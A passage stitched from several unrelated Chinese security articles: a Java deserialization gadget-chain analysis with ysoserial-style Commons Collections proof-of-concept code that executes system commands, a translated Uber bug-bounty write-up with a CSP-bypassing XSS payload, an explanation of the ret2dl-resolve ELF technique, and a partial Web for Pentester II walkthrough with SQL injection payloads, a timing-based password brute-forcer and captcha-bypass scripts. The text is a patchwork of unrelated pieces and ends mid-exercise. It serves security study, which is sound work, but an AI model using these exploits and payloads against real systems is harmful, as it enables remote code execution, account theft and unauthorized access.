invokerTransformer1.transform(Runtime.getRuntime());
win下
String[] cmds = new String[]{"calc.exe"};
InvokerTransformer invokerTransformer1 = new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{cmds});
invokerTransformer1.transform(Runtime.getRuntime());
当然这样也可以
ProcessBuilder processBuilder = new ProcessBuilder("open", "/Applications/Calculator.app/");
InvokerTransformer invokerTransformer1 = new InvokerTransformer("start", new Class[]{}, new Object[]{});
invokerTransformer1.transform(processBuilder);
### 案例
java有一个特征，不管经过几层封装，封装成什么类型，最终在readObject的时候，都会按照被封装的倒序去执行readObject。(ps:这是一段极其抽象的话，为了解释这段抽象的话，我画了一个看起来很抽象的画，在下师从抽象派大师梵高)
即使最后是读者们执行readObject，最后也会一层一层到上帝来执行readObject，具体例子如下:
public class A implements Serializable {
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
try {
System.out.printf("whoami");
new ProcessBuilder("calc.exe").start();
} catch (IOException e) {
e.printStackTrace();
}
}
}
public class Main {
public static class A implements Serializable {
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
try {
System.out.printf("whoami");
//Runtime.getRuntime().exec(new String[]{"calc.exe"});
new ProcessBuilder("calc.exe").start();
} catch (IOException e) {
e.printStackTrace();
}
}
}
public static void main(String[] args) {
try {
//写对象到文件中
writeObjectToFile();
//从文件中反序列化obj对象
FileInputStream fis = new FileInputStream("object.txt");
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
ois.close();
} catch (Exception e) {
e.printStackTrace();
}
}
public static void writeObjectToFile() throws FileNotFoundException, IOException {
A myObj = new A();
FileOutputStream fos = new FileOutputStream("object.txt");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(myObj);
os.close();
}
}
整个程序流程如下，先调用writeObjectToFile
函数将类A的对象序列化并保存到文件object.txt中，第二个流程是打开object.txt，并执行readObject函数，那么最终会执行到类A中定义的readObject函数，该函数中可以用做恶意操作，例如用来执行命令等，运行完这个流程后弹出了计算器。
CVE-2015-8103刚出来的时候，boss直接被捅成了马蜂窝(威力可见一斑)。通过透漏的信息，我们得知
invoker/JMXInvokerServlet在这个请求中，找到jboss
invoker/JMXInvokerServlet这个接口，我们可以查看其源码
在 文件 org.jboss.invocation.http.servlet.InvokerServlet.java
中，其中函数processRequest中有这么一个片段
可以很清晰地看到，其作用是直接将request请求的数据直接给反序列化了，如果我们能找到某个序列化类，并在其readObject函数中直接或者间接调用了InvokerTransformer.transform,岂不是美滋滋。
查看 InvokerTransformer.transform的被调用情况，调用的地方有很多，其中
LazyMap.get()是ysoserial中提到的,网上也有很多都是基本分析TransformedMap.checkSetValue的。接下来会对两种poc分析
#### 情况1(LazyMap.get())
这部分也是ysoserial中提到的，其poc最终调用的是AnnotationInvocationHandler.readObject函数。可是当跟进这个函数的时候，发现并没有出现LazyMap.get()，但是在invoke中的出现了调用。看到invoke这个函数，有必要和大家说下基本的动态代理知识了。
InvocationHandler的使用例子例子如下:
public interface Subject {
public void doSomething();
public void readObject();
}
public class RealSubject implements Subject {
@Override
public void doSomething() {
System.out.println("RealSubject");
}
@Override
public void readObject() {
System.out.println("RealSubject readObject");
}
}
public class ProxyHandler implements InvocationHandler {
private Object proxied;
public ProxyHandler(Object proxied) {
this.proxied = proxied;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("ProxyHandler invoke");
return method.invoke(this.proxied, args);
}
}
public class DynamicProxy {
public static void main(String[] args){
RealSubject real = new RealSubject();
Subject proxySubject = (Subject) Proxy.newProxyInstance(Subject.class.getClassLoader(),
new Class[]{Subject.class},
new ProxyHandler(real));
proxySubject.readObject();
}
}
运行main函数之后，运行结果如下:
很显然，再生成动态代理对象后，该对象执行的任何成员方法都会经过invoke函数。至于为什么这么做，大家想想，其实动态代理是对类功能的加强，比如你现在有一个person类，你想在perosn所有的成员函数之前加一个初始化一些环境变量，在运行之后回收环境变量的操作，怎么做，每个函数都去加这些？很显然用这种动态代理的方式就方便多了，所有函数都会经过invoke，那么直接就在method.invoke(this.proxied,
args)前后初始化和回收环境好了(扯着扯着就扯到AOP编程的知识了，有些扯远了)
其中LazyMap.get()函数内容如下:
factory的赋值通过decorate函数
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
懂了这些之后，再回过头来看分析整个流程，我们理顺一下整个poc。我理出了大概的调用链如下
AnnotationInvocationHandler.readObject()->AnnotationInvocationHandler.invoke()->LazyMap.get()->InvokerTransformer.transform()
直接借助InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new
Class[]{String[].class}, new Object[]{execArgs});会提示
具体的原因是因为，在 get(Object key)函数中默认传入的entrySet,而不是Runtime.getRuntime()。
其中ChainedTransformer中的transform比较有意思
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
transform(object)中传入的object是一前一个transform(object)，最终构造如下:
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class
}
, new Object[]{
"getRuntime", new Class[0]
}
),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class
}
, new Object[]{
null, new Object[0]
}
),
new InvokerTransformer("exec",
new Class[]{
String.class
}
, execArgs),
new ConstantTransformer(1)
}
;
ysoserial中完整的poc如下:
inal String[] execArgs = new String[] { command };
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1)
}
);
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class
}
, new Object[] {
"getRuntime", new Class[0]
}
),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class
}
, new Object[] {
null, new Object[0]
}
),
new InvokerTransformer("exec",
new Class[] {
String.class
}
, execArgs),
new ConstantTransformer(1)
}
;
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
// arm with actual transformer chain
return handler;
其实通过分析可以找到很多调用链的，比如
InvokerTransformer.transform()->TransformedMap.checkSetValue()->AbstractInputCheckedMapDecorator.setValue()->TreeMap.put()->CoreDocumentImpl.readObject()
还有一种比较简单的调用，直接是
InvokerTransformer.transform()->TransformedMap.checkSetValue()->AbstractInputCheckedMapDecorator.setValue()->AnnotationInvocationHandler.readObject()
### 情况2(TransformedMap.checkSetValue)
下面针对InvokerTransformer.transform()->TransformedMap.checkSetValue()->AbstractInputCheckedMapDecorator.setValue()->AnnotationInvocationHandler.readObject()
这条调用链来构造poc:
Map map = new HashMap();
Map transformedmap = TransformedMap.decorate(map, null, transformerChain);
InvocationHandler handler = (InvocationHandler) getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler").newInstance(Retention.class, transformedmap);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
到这里并没有成功弹出计算器，当执行到AnnotationInvocationHandler.readObject()时，下面这段代码不会执行。
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) {
// i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
要其执行要满足两个条件,memberValues不能为空，并且memberType不能为空
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
memberTypes是Retention，查找下注释Retention中的成员，发现有一个value。
那么memberValues只需要put一个键值对，其键为value即可，memberValues.put('value', 'xxx'),完整poc如下:
public InvocationHandler getObject(final String command) throws Exception {
final String[] execArgs = new String[]{command};
// inert chain for setup
// real chain for after setup
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class
}
, new Object[]{
"getRuntime", new Class[0]
}
),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class
}
, new Object[]{
null, new Object[0]
}
),
new InvokerTransformer("exec",
new Class[]{
String.class
}
, execArgs),
new ConstantTransformer(1)
}
;
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{new ConstantTransformer(1)
}
);
//Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
Map transformedmap = TransformedMap.decorate(map, null, transformerChain);
transformedmap.put("value", "xx");
Class cls = Class
.forName("sun.reflect.annotation.AnnotationInvocationHandler");
InvocationHandler handler = (InvocationHandler) getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler").newInstance(Retention.class, transformedmap);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
return handler;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections7.class, args);
}
public static Boolean isApplicableJavaVersion() {
return JavaVersion.isAnnInvHUniversalMethodImpl();
}
public static Constructor getFirstCtor(final String name)
throws Exception {
final Constructor<?> ctor = Class.forName(name)
.getDeclaredConstructors()[0];
ctor.setAccessible(true);
return ctor;
}
public static Field getField(Class<?> clazz, String fieldName) throws NoSuchFieldException {
Field field = clazz.getDeclaredField(fieldName);
if (field != null)
field.setAccessible(true); else if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
field.setAccessible(true);
return field;
}
public static void setField(Object object, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = getField(object.getClass(), fieldName);
field.set(fieldName, value);
}
## 参考链接
[https://github.com/frohoff/ysoserial]() | 社区文章 |
原文：<https://medium.com/@efkan162/how-i-xssed-uber-and-bypassed-csp-9ae52404f4c5>
**前奏**
* * *
我曾经在Uber的子域上寻找过开放式重定向漏洞，虽然他们并不把“Open
Redirect”当作漏洞，但我想“为什么不把它与其他漏洞联合起来？也许可能导致帐户接管或其他什么威胁呢？”在这种想法的激励下，我干劲十足。在partners.uber.com上寻找相关端点时，下面这个URL引起了我的兴趣：
https://partners.uber.com/carrier-discounts/att/redirect?href=http://www.wireless.att.com/
这个URL是在一个论坛中看到的，之后，借助Google
Dork搜索语法，我又找到了一个类似的URL。那么，它是否含有开放式重定向漏洞呢？是的！接下来，还有一项工作要做：在登录界面寻找另一个漏洞，以便将两种组合起来使用。为此，我鼓捣了好几个小时，不幸的是，官方认为这并没有报告的必要，按照他们的说法：
“对于开放式重定向漏洞，99％的情况下影响都不大。不过，对于影响较大的那些罕见情况，例如窃取oauth令牌，还是具有提交价值的。”
一周后，我再次检查了这个URL，发现它已经无法正常工作了，就像现在一样，无论你输入什么http参数，它都会将你重定向到`https://www.wireless.att.com`。
由此来看，他们已经修复好了，问题是，这是他们自己发现的，还是有人报告的呢？我不知道，也不在乎。不过，最初我可是奔着一个大目标去的，最终却败兴而归，心里确实有点不爽。好在哥是个乐天派，没过多久我的斗志很快又燃烧起来了，于是决定再次搞点事情，这次要搞的是XSS，而不是自我陶醉！
**漏洞分析**
* * *
如果我问你“在Uber的链接中，最知名的URL是什么”，你的答案可能是邀请链接。这些链接几乎无处不在，例如，论坛帖子、Twitter、Facebook、Instagram
......
邀请链接具有不同的URL：
https://www.uber.com/a/join?exp_hvp=1&invite_code=bq6ew1w9ue
我在其中检测XSS漏洞，但毫无发现:(
https://partners.uber.com/p3/referrals/ms?i=bq6ew1w9ue
这个怎么样？ 它有相同的邀请代码，如果点击它，它将重定向到其他URL，但为什么不检查其他参数呢？
在基本的Google Dork搜索语法的帮助下，我开始对这个子域进行全面的搜索。
site:partners.uber.com
利用上面的搜素语句，可以找到一个非常庞大的邀请链接列表。我的目标是寻找其他参数，并且真的找到了一个！
https://partners.uber.com/p3/referrals/ms?i=bq6ew1w9ue&m=ANNIVERSARY&v=1
看起来的确很酷，但XSS在哪里呢？
“v”参数显示的是他/她作为Uber司机工作了多少年，看起来有点像周年庆典。发现这个参数后，我就试图注入一些XSS有效载荷，但没有出现XSS弹窗，于是我查看了一下相关的源代码。
原始代码：
content=”static/images/milestones/anniversary/anniversary_1.png” />
注入有效载荷后：
content=”static/images/milestones/anniversary/anniversary_1 “><img src=x onerror=alert(document.cookie)>.png” />
正如您所看到的，这里并没有过滤措施，但同时也没有弹出XSS窗口，这就是说，我们需要考察相关的内容安全策略。什么是CSP？正如Netsparker的博客所说：
“内容安全策略(CSP)标准是一种有选择地指定应该在web应用程序中加载哪些内容的方法。这可以通过使用随机数或哈希值将特定域名列入白名单来实现。”
因此，只要有列入白名单的域名，我们就可以尝试使用它们来对抗CSP。请找到Uber针对partner.uber.com域名的CSP头部，它太长了，为了保持版面简洁，这里只给出“script-src”之后的部分
script-src ‘self’ ‘unsafe-inline’ ‘nonce-9f4b94bf-a195–4d8c-b474–879ae6d1d471’ ‘self’ ‘unsafe-inline’ https://pullo.uberinternal.com https://apis.google.com https://www.google.com https://d1a3f4spazzrp4.cloudfront.net https://*.uber.com https://rules.quantcount.com https://www.google-analytics.com https://ssl.google-analytics.com https://d3i4yxtzktqr9n.cloudfront.net https://d1a3f4spazzrp4.cloudfront.net;
首先，我检查了rules.quantcount.com并找到了json端点，但没有太多关于它的信息。对我们来说，这里有一个巨大的优势，因为它们将*
uber.com列入了白名单，所以，如果我们能找到任何带有回调或任何类似功能的JSON端点，我们就能够发动XSS攻击。与此同时，我还拜读过一个名为“DOM
XSS - auth.uber.com”的博客，博主“stamone”活不错，读者不妨读一读！
http://stamone-bug-bounty.blogspot.com/2017/10/dom-xss-auth14.html
看看他的文章，他也绕过了CSP，怎么样？ 在他的报告中，CSP允许他从* .marketo.com提取一些东东。
实际上，他也是借助了一些基本的Google Dork搜索语法，并找到了一个回调参数，正如您看到的那样，效果的确不错。
看完这篇文章后，我访问了Virustotal网站，并检查了Uber的子域名，其中一个引起了我的注意！ 什么，mkto？
“mkto”是marketo的简称吗？
是的！的确如此。
导航至mkto.uber.com的时候，它会将我们重定向到
https://app-ab19.marketo.com/index.php
这绝对就是marketo。所以，接下来我们就可以用它来对抗CSP了。利用一个简单的有效载荷，我创建了如下所示的链接，一旦访问该连接，就会出现盼望已久的弹窗。
https://partners.uber.com/p3/referrals/ms?i=bq6ew1w9ue&m=ANNIVERSARY&v=1"><script src=”https://mkto.uber.com/index.php/form/getKnownLead?callback=alert(document.domain);"></script>
这次，我触发的是XSS漏洞！
**时间线**
* * *
[03-08-2018]向优步提交漏洞报告
[07-08-2018]将状态改为“Triaged”
[22-08-2018]发送并询问有关流程的其他信息
[23-08-2018]优步的回复：“谢谢@mefkan！我们已将该信息传递给内部团队。”
[27-08-2018]漏洞已修复
[30-08-2018] 奖励2,000美元
[03-04-2018]有限披露给Hackerone
**小结**
* * *
1 - 千万不要说“这是一个非常有名的URL，别指望在这里找到漏洞”。我可以保证，如果这么想的话，肯定会错过很多漏洞。
2 - 经常阅读其他人的文章，特别是正在寻找一些特别的或详细的信息的时候。不妨多花些时间用于阅读和理解文章背后的逻辑。
3 - 永不放弃，努力努力再努力，最终就会如愿以偿。 | 社区文章 |
这几天学习了 **return-to-dl-resolve** 的知识 在这里做一些总结。
看了两个师傅的博客
> [l1nk3dHouse](http://showlinkroom.me/2017/04/09/ret2dl-resolve/)
> [http://pwn4.fun](http://pwn4.fun/2016/11/09/Return-to-dl-resolve/)
首先我们要了解到的是在ELF文件中 存在着一种延时绑定机制 叫做 ： lazy binding。这种方式会在第一次调用一个函数时启动。
# 关于 lazy binding
1. 在第一次调用程序的一个函数时。会去call 一个函数。
2. 然而这个call 函数指向的地方（0x80483d0）的代码为
这个时候发现 在 write@plt 的第一个代码是一个 jmp 跳到 （0x804a01c）保存的指针去。
但是发现这个 地址并不是我们想要去的 wirte 函数的地址 而是指向了 write@plt 的下一行代
3. 接下来 程序进行了 一个 push 和 一个 jmp指令。跳转到 （0x8048380）而这个地址可以用 readelf -S 文件名来找到 发现这个 地址是.plt的起始地址也就是PLT[0]
4. 在jmp到这个 地址后发现有 push 了一个值然后跳转到了 _ **dl_runtime_resolve** 函数
然后 调用这个 函数 实现 延迟绑定。 这个函数的 原型为
`_dl_runtime_resolve(*link_map, rel_offset)` rel_offset 是 2.中push的值，link_map为
3.中push的值。
**从而执行 找到write函数的真实地址 从而在下一次调用的时候直接跳转到 write函数去。**
* * *
# 结合 IDA 反编译
1. 第一次call 函数会跳转到 .plt
2. 然后跳转到 0x804a01c的地址保存的地方 这个地方应该为
3. 但是第一次 还没有保存write 函数真实的 地址所以会跳转到 .plt 的下一行代码0
4. 从而去 push 参数 实现 将 write函数的真实地址保存在 .got.plt（保存函数引用位置） 上方便下次调用这个函数时能直接找到 write函数的地址
* * *
上面的就是延迟绑定的基本原理为了更深入了解 **return-to-dl-resolve** 的实现我们还要学习一下 elf 文件。
ELF 可执行文件 由 ELF头部，程序头部表和对应的段，节头部表和其对应的节组成。
* 在程序头部表中会有 一个 PT_DYNAMIC 的段 ，这个段包含 .dynamic 节区，这个类型的段的 结构为（这个 .dynamic 节区也被称为 “重定位节区” 可以用到 readelf -d 查看）：
`readelf -d`
* 在节区中包含着 目标文件的 所有的信息用一个结构保存着。（ 其中Type为REL的节区包含重定位表项。可以用 readelf -S 查看)
`readelf -S`
* 记录重定位信息的节区中 。.rel.plt 用于函数定位 .rel.dyn 用于变量定位。而 REL 类型的节 的结构体为 （可以用 readelf -r 查看着两个节区）注意在 REL 类型的节中 .rel.plt 中的 info 应该如0x607 最后一位为7 而这个7 是为了在 之后找到 对应的 **R_386_JUMP_SLOT** 。
`readelf -r`
**其中的 .rel.plt 就是 IDA 反编译过后 .got.plt的值**
* 查看资料发现 .got节 保存着全局变量偏移表，.got.plt 节保存全局函数偏移表。也就是 REL 结构体中的
* 在我们实现 延迟绑定时 还会调用到一个类型为 SYM的节叫做 **.dynsym** ，这个节的 结构为（可以用到readelf -s 查看）主要用于找到REL对应的函数符号表信息。用到 `ELF32_R_SYM(Elf32_Rel->r_info)`
`readelf -s`
* 然后上一个 . **dynsym** 我们得到了 num 然后通过这个 num 在 . **dynstr** 中找到对应的函数的字符串。`Elf32_Sym[num]->st_name=0x4c（.dynsym + Elf32_Sym_size（0x10） * num)` 在. **dynsym** 的地址基础上加上 num*0x10 这个地址保存的值， 这个值是我们需要的 函数字符串保存在 .synstr节上的偏移。比如 这个write 函数的 .rel结构体中 info = 0x607 所以这个 **num = 6 <\-- (0x607>>8)**
**通过`readelf -S`得到这两个节的地址**
**通过偏移找到write函数的字符串在 .dynstr中的偏移**
**用.dynstr基地址+偏移得到函数字符串**
* * *
# 总结return-to-dl-resolve调用步骤：
1. 首先找到函数 的reloc entry （reloc 入口） **rel.plt** 结构体 **offset** 和 **info** 。 **push REL_offset** `Elf32_Rel * reloc = JMPREL + reloc_offset;`
2. 然后计算 . **dynsym** 中对应的节入口。 `Elf32_Sym * sym = &SYMTAB[ ELF32_R_SYM (reloc->r_info) ];`
3. 接着验证. **rel.plt** 中 **info** 的最后一字为 7 `assert (ELF32_R_TYPE(reloc->r_info) == R_386_JMP_SLOT);`
4. 在通过 info 中的 `num = (reloc->r_info)>>8;` 找到. **dynsym** 中 存的对应字符串的偏移`Elf32_Sym[num]->st_name=0x4c（.dynsym + Elf32_Sym_size（0x10） * num)`，然后在 . **dynstr** 表中找到对应的 字符串的位置，然后通过字符串搜索到 函数的真实地址 。
5. 函数地址写入对应got表 ，然后执行函数。
// param link_map:链接标识符
// param reloc_offset:就是我们在调用函数的时候传进去的那个参数
_dl_runtime_resolve(struct link_map *l, ElfW(Word) reloc_offset)
{
// 首先找到plt中的相对位置，也即是.rel.plt中的对象ELF_rel
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
// 然后找到.dynsym中的Elf_Sym对象
const ElfW(Sym) *sym = &symtab[ELF32_R_SYM(reloc->r_info)];
// 检查reloc->r_info的最低位R_386_JUMP_SLOT=7
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
// 通过加上strtab加上st_name，得到当前函数对应的字符串名，最后返回result
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
// 通过查找对应字符串，找到此时的read的函数地址
value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
// 最后把地址填充到之前那个位置上
return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}
以上就是关于 延迟绑定 和 ELF动态链接文件的学习。
这知识程序的运行方法 想要利用这个 漏洞要 充分理解明白这个 机制的运行。
1.程序找到对应的重定位函数。
2.通过 num 找到对应函数的 字符串 从而找到函数的真实地址。
* * *
# 攻击手段。
> * **修改.dynstr节中的字符串为我们需要的字符串这样就能在绑定是找到我们想利用的函数。**
>
> * **修改REL 类型节的 reloc_offset 也就是偏移实现 绑定是 由偏移定位到我们伪造的一个表 从而定位到我们需要的函数。**
>
> | 社区文章 |
# 【技术分享】Web for Pentester II练习题解
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**Web for Pentester II ISO下载地址：**[
**https://pentesterlab.com/exercises/web_for_pentester_II/iso**
****](https://pentesterlab.com/exercises/web_for_pentester_II/iso)
**
**
**作者：**[ **shinpachi8**
****](http://bobao.360.cn/member/contribute?uid=2812295712)
**预估稿费：300RMB（不服你也来投稿啊！）**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
**前言**
最近一直在找mongodb的注入练习，结果在penetsterlab上找到了。发现了其中的web for pentester 2,
其实我并没有做过第一版。有兴趣同学可以试着做做这一套练习包括：SQL注入，认证，授权，验证码,
覆盖属性，随机数问题，mongodb注入几部分。其中除随机数没有做出来，其他的都有解法。在[pentesterlab](https://pentesterlab.com/)上下载iso镜像直接用在虚拟机打开就可以了。我用的是virtualbox。
**SQL注入**
SQL注入就不多介绍了，搞安全的应该都知道。
1.最简单的一个，没有什么过滤，只要万能密码就可以绕过。
2.报错注入，
由上图可以看出，可能是根据返回的结果来进行判断，即如果返回就算通过。 那么用union来使返回结果为正，就可以绕过。
3\. 把单引号过滤了。只能想办法闭合单引号。试了试并没有过滤“”，由前边的经验我们可以知道，后台的sql语句可能还是
select * from users where username=’param1’ and password=’param2’
那么可以这样来绕过。
select * from users where username='' and password=' or 1=1#'
这时username的单引号被转义，所以被绕过了。
4\. 观察参数的形式，猜测可能是将参数直接代入where字段进行了查询，形式为： select * from users where [req
content] 这可以直接注入。放一个xml格式错误的报错 payload:
username='hacker' and extractvalue(1, concat(0x5e7e5e,(select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1)))#
更改 limit 与 concat()的内容可以将所有信息都查出来
5\. 由url形式可以推断出是在limit点的注入。这好像只可以用union来注入吧？如果有其他的方法的话请通知我…
在union的时候可能会对不同的数据库版本有不同的影响。总之先看这一个
出来了1,2 字段，其它的就和上边一样了。
说一下问题，我在 5.5.50版本的mariadb上是可以使用这个语法的。
但是在10.1.13的版本上不行.. 可能是和版本有关系。
MariaDB [security]> select * from users limit 1 union select 1,2,3;
ERROR 1221 (HY000): Incorrect usage of UNION and LIMIT
MariaDB [security]> select version();
+-----------------+
| version() |
+-----------------+
| 10.1.13-MariaDB |
+-----------------+
1 row in set (0.36 sec)
6\. 和第5差不多，只是将limit字段改成了group字段。注入手段是一样的。都可以用union来注入。
7\. 这个题出的很有意思，它将id对应username相同的值都返回了。可以基于时间来注入。由 and
if(length(database())=21,sleep(3),0) 由返回的结果时间长短来判断正确与否
8\. 是一个二次注入，如果我们使用用户名 如下：
那么可以得到如下结果
这样就可以得到想要信息了。
9\. 宽字符注入。剩下的就简单了。
写了一个脚本来判断哪些是可以进行宽字符注入时可用的字符
def sql9():
url = "http://10.108.40.237/sqlinjection/example9/?username=a%{}%27%20or%201=1%23&password=a&submit=Submit"
for x in xrange(255):
char = hex(x)[2:]
if len(char) == 1:
char = "0" + char
html = requests.get(url.format(char))
if "Success" in html.text:
print "[+] 0x{} works".format(char)
print "Done"
**认证**
对于认证来说，好多开发人员并没有正确了认证的本质，偶尔也会犯一些问题。
1\. http basic认证
虽然是个认证，但是是弱口令的问题..
2\. http basic认证
这个之前我是用的字典暴破,, 效率相当慢不说还不一定能找到,后来看到了官方的答解，说是用字符串的对比来实现的认证，即如果密码是password，
那么输入passwodd 的响应时间一定比passdddd时间长。因为字符串对比需要的时间长。这样的话就可以用脚本来暴破了。如下：
def auth2():
url = "http://192.168.60.114/authentication/example2/"
# passwords = ["a", "b", "ac"]
base_time = None
password = ""
passwords = string.lowercase + string.uppercase + string.digits
# IPLIST={}
while True:
tmp_start = time.time()
html = requests.get(url, auth=HTTPBasicAuth("hacker", password + "a"))
base_time = time.time()-tmp_start
for pwd in passwords:
start = time.time()
html = requests.get(url, auth=HTTPBasicAuth("hacker", password + pwd))
used_time = time.time() - start
if html.status_code == 200:
print "[*] FIND PASSWORD: {}".format(password + pwd)
return
if used_time - base_time > 0.1:
password += pwd
print "[+] password: {} ..".format(password)
break
elif base_time - used_time > 0.1:
password += "a"
print "[+] password: {} ..".format(password)
break
print "Use Time: {}, password:{}".format(time.time()-start, password + pwd)
3\. 使用user1的帐号登录，认证为admin。
这个在设置代理之后，可以看到认证user1之后会在cookie字段有一个user:user1字段，改成admin之后就可以通过
4\. 目的与上一题一样，只是将cookie中的user字段由明文改成md5值
5\. 已经有一个admin用户，让我们认证它。 同时提供了一个注册的接口。 在mysql中，大小写不敏感，所以可以注册一个Admin 来绕过认证
6\. 题同第5个一样，不过这次转换成了小写，之前的手段不成功了。但是在mysql中会自动将后边的空格过滤掉，这样我们可以注册一个admin来绕过。
MariaDB [blog]> insert user value (1, "admin", "admin")
-> ;
Query OK, 1 row affected (0.01 sec)
MariaDB [blog]> select * from user;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | admin | admin |
+----+----------+----------+
1 row in set (0.00 sec)
MariaDB [blog]> insert user value (1, "admin ", "admin")
-> ;
ERROR 1062 (23000): Duplicate entry '1' for key 'PRIMARY'
MariaDB [blog]> insert user value (2, "admin ", "admin")
-> ;
Query OK, 1 row affected (0.00 sec)
MariaDB [blog]> select * from user;
+----+-------------+----------+
| id | username | password |
+----+-------------+----------+
| 1 | admin | admin |
| 2 | admin | admin |
+----+-------------+----------+
2 rows in set (0.00 sec)
MariaDB [blog]> select * from user where username="admin"
-> ;
+----+-------------+----------+
| id | username | password |
+----+-------------+----------+
| 1 | admin | admin |
| 2 | admin | admin |
+----+-------------+----------+
2 rows in set (0.00 sec)
MariaDB [blog]> select * from user where username="admin "
-> ;
+----+-------------+----------+
| id | username | password |
+----+-------------+----------+
| 1 | admin | admin |
| 2 | admin | admin |
+----+-------------+----------+
2 rows in set (0.00 sec)
**验证码**
1.这个很简单，只需要把验证码参数删掉就可以
看一下后台的代码：
2\. 这个也很简单，在表单中就有正确的captcha的内容。
3\. 这次在cookie中
4\. 这个其实并没有理解是什么意思… 只好把官方的答案放在这了。
This is quite a funny example, since it's a mistake I made during the
development of this set of exercises.
这其实是一个很有意思的例子，因为这是我做这系列练习时候的一个错误
Here, you don't have to really crack the captcha. You just need to crack it
once and you can reuse the same value and session ID to perform the same
request again and again. When you try to crack a captcha, make sure that an
answer can only be used once. You can easily script this exploitation by
writing a script that takes a session ID and a value for parameters, and
submit them again and again.
在这，你不必真正的暴破验证码。你只需要破解一次然后可以重复使用只一个值和sessionid。 当你尝试破解一个验证码时， 要确保一个答案只可以被使用一次。
你可以轻易的用带sessionid与值为参数的脚本来重复提交来暴破它。
照着这个例子写了一个函数，也不知道对不对..
def captcha4():
url = "http://10.108.40.237/captcha/example4/submit?captcha=amber&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2"
header = {
"Cookie" : ("rack.session=e4fd1291b79bf27d8728c7f3bc4e5f9f55f2610794ea476f5b3a5bf5009a8eb4"),
"Referer" : "http://10.108.40.237/captcha/example4/"
}
ss = requests.session()
while True:
html = ss.get(url, headers=header)
print "html.code: {}".format(html.status_code)
if "Success" in html.text:
print "[*] Done"
break
else:
print "[-] Error"
5\. 多提交几次，就会发现这个验证码样本很少。我们可以把它都保存下来，然后每次用验证码与保存下来的做对比。就可以搞定。
def captcha5():
url = "http://192.168.60.114/captcha/example5/"
post_url = "http://192.168.60.114/captcha/example5/submit?captcha={}&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2"
# base_url = "http://10.108.40.237/"
ss = requests.session()
captcha = {}
# get pic md5
dirs,folder,files = os.walk("./pic/").next()
for fi in files:
if fi.endswith("png"):
path = os.path.join(dirs, fi)
with open(path, "rb") as f:
md5 = hashlib.md5(f.read()).hexdigest()
print fi, fi[0: -4]
captcha[md5] = fi[0: -4]
# get pic
html = ss.get(url)
# print html.text
# print html.content
soup = BeautifulSoup(html.text, "html.parser")
src = soup.select("img")[0]["src"]
print src
img_data = ss.get(url + src).content
print "[+] img_url: {}".format(url + src)
with open("pic.png", "wb") as f:
f.write(img_data)
with open("pic.png", "rb") as f:
img_md5 = hashlib.md5(f.read()).hexdigest()
if img_md5 in captcha:
html = ss.get(post_url.format(captcha[img_md5]))
print "img_content: {}".format(captcha[img_md5])
print "post_url: {}".format(post_url.format(captcha[img_md5]))
# print html.text
if "Success" in html.text:
print "[+] Successful.."
else:
print "[-] Somethine Wrong"
6\.
